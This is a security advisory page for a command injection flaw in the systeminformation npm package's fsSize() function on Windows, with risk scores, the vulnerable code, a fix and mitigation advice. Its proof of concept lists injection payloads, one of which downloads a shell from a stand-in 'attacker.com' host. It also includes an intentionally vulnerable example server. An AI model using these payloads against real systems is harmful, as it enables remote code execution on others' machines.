GHSA-wphj-fx3q-84ch is a high-severity (CVSS 8.1) OS Command Injection vulnerability in systeminformation. EPSS puts its 30-day exploitation probability at 13.0% (96th percentile). A fix is available for systeminformation — see the affected versions and patch details below.
systeminformation has a Command Injection vulnerability in fsSize() function on Windows
Exploitation Status
No confirmed exploitation observed yet
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-wphj-fx3q-84ch.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
GHSA-wphj-fx3q-84ch by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 379,842 CVEs with a current EPSS score, this one falls in the 10–50% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
systeminformationnpmDescription
Summary
The fsSize() function in systeminformation is vulnerable to OS Command Injection (CWE-78) on Windows systems. The optional drive parameter is directly concatenated into a PowerShell command without sanitization, allowing arbitrary command execution when user-controlled input reaches this function.
Affected Platforms: Windows only
CVSS Breakdown:
- Attack Vector (AV:N): Network - if used in a web application/API
- Attack Complexity (AC:H): High - requires application to pass user input to
fsSize() - Privileges Required (PR:N): None - no authentication required at library level
- User Interaction (UI:N): None
- Scope (S:U): Unchanged - executes within Node.js process context
- Confidentiality/Integrity/Availability (C:H/I:H/A:H): High impact if exploited
Note: The actual exploitability depends on how applications use this function. If an application does not pass user-controlled input to
fsSize(), it is not vulnerable.
Details
Vulnerable Code Location
File: lib/filesystem.js, Line 197
if (_windows) {
try {
const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl`;
util.powerShell(cmd).then((stdout, error) => {
The drive parameter is concatenated directly into the PowerShell command string without any sanitization.
Why This Is a Vulnerability
This is inconsistent with the security pattern used elsewhere in the codebase. Other functions properly sanitize user input using util.sanitizeShellString():
| File | Line | Function | Sanitization |
|---|---|---|---|
lib/processes.js | 141 | services() | ✅ util.sanitizeShellString(srv) |
lib/processes.js | 1006 | processLoad() | ✅ util.sanitizeShellString(proc) |
lib/network.js | 1253 | networkStats() | ✅ util.sanitizeShellString(iface) |
lib/docker.js | 472 | dockerContainerStats() | ✅ util.sanitizeShellString(containerIDs, true) |
lib/filesystem.js | 197 | fsSize() | ❌ No sanitization |
The sanitizeShellString() function (defined at lib/util.js:731) removes dangerous characters like ;, &, |, $, `, #, etc., which would prevent command injection.
PoC
Attack Scenario
An application exposes disk information via an API and passes user input to si.fsSize():
// Vulnerable application example
const si = require('systeminformation');
const http = require('http');
const url = require('url');
http.createServer(async (req, res) => {
const parsedUrl = url.parse(req.url, true);
const drive = parsedUrl.query.drive; // User-controlled input
// VULNERABLE: User input passed directly to fsSize()
const diskInfo = await si.fsSize(drive);
res.end(JSON.stringify(diskInfo));
}).listen(3000);
Exploitation
Normal Request:
GET /api/disk?drive=C:
Malicious Request (Command Injection):
GET /api/disk?drive=C:;%20whoami%20%23
Command Construction Demonstration
The following demonstrates how commands are constructed with malicious input:
Normal usage:
Input: "C:"
Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C: | fl
With injection payload C:; whoami #:
Input: "C:; whoami #"
Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; whoami # | fl
↑ ↑
semicolon terminates # comments out rest
first command
PowerShell will execute:
Get-WmiObject Win32_logicaldisk | ... | where -property Caption -eq C:(original command)whoami(injected command)- Everything after
#is commented out
PoC Script
/**
* Command Injection PoC - systeminformation fsSize()
*
* Run with: node poc.js
* Requires: npm install systeminformation
*/
const os = require('os');
// Simulates the vulnerable command construction from filesystem.js:197
function simulateVulnerableCommand(drive) {
const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl`;
return cmd;
}
// Test payloads
const payloads = [
{ name: 'Normal', input: 'C:' },
{ name: 'Command Execution', input: 'C:; whoami #' },
{ name: 'Data Exfiltration', input: 'C:; Get-Process | Out-File C:\\temp\\procs.txt #' },
{ name: 'Remote Payload', input: 'C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\\temp\\shell.exe #' },
];
console.log('=== Command Injection PoC ===\n');
console.log(`Platform: ${os.platform()}`);
console.log(`Note: Actual exploitation requires Windows\n`);
payloads.forEach(p => {
console.log(`[${p.name}]`);
console.log(` Input: ${p.input}`);
console.log(` Command: ${simulateVulnerableCommand(p.input)}\n`);
});
PoC Output
=== Command Injection PoC ===
Platform: win32
Note: Actual exploitation requires Windows
[Normal]
Input: C:
Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C: | fl
[Command Execution]
Input: C:; whoami #
Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; whoami # | fl
[Data Exfiltration]
Input: C:; Get-Process | Out-File C:\temp\procs.txt #
Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; Get-Process | Out-File C:\temp\procs.txt # | fl
[Remote Payload]
Input: C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\temp\shell.exe #
Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\temp\shell.exe # | fl
As shown, the attacker's commands are injected directly into the PowerShell command string.
Impact
Who Is Affected?
- Applications running
systeminformationon Windows that pass user-controlled input tofsSize(drive) - Web applications, APIs, or CLI tools that accept drive letters from users
- Monitoring dashboards that allow users to specify which drives to query
Potential Attack Scenarios
- Remote Code Execution (RCE) - Execute arbitrary commands with Node.js process privileges
- Data Exfiltration - Read sensitive files and exfiltrate data
- Privilege Escalation - If Node.js runs with elevated privileges
- Lateral Movement - Use the compromised system to attack internal network
- Ransomware Deployment - Download and execute malicious payloads
Recommended Fix
Apply util.sanitizeShellString() to the drive parameter, consistent with other functions in the codebase:
if (_windows) {
try {
+ const driveSanitized = drive ? util.sanitizeShellString(drive, true) : '';
- const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl`;
+ const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${driveSanitized ? '| where -property Caption -eq ' + driveSanitized : ''} | fl`;
util.powerShell(cmd).then((stdout, error) => {
The true parameter enables strict mode which removes additional characters like spaces and parentheses.
systeminformation thanks developers working on the project. The Systeminformation Project hopes this report helps improve the its security. Please systeminformation know if any additional information or clarification is needed.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | systeminformation | all versions | 5.27.14npm install systeminformation@5.27.14 |
Affected Products
systeminformationsysteminformationDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for systeminformation, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update systeminformation to 5.27.14 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-wphj-fx3q-84ch is resolved across your whole dependency graph.
Workarounds
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
In the Red Hat context, this vulnerability has no impact as it is specific to Windows operating systems and relies on PowerShell commands, which are not utilized in Red Hat products.
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.Source: Red Hat security advisory for GHSA-wphj-fx3q-84ch (CC BY 4.0)
Frequently Asked Questions
Is GHSA-wphj-fx3q-84ch in your dependencies?
Find it across npm, including transitive dependencies.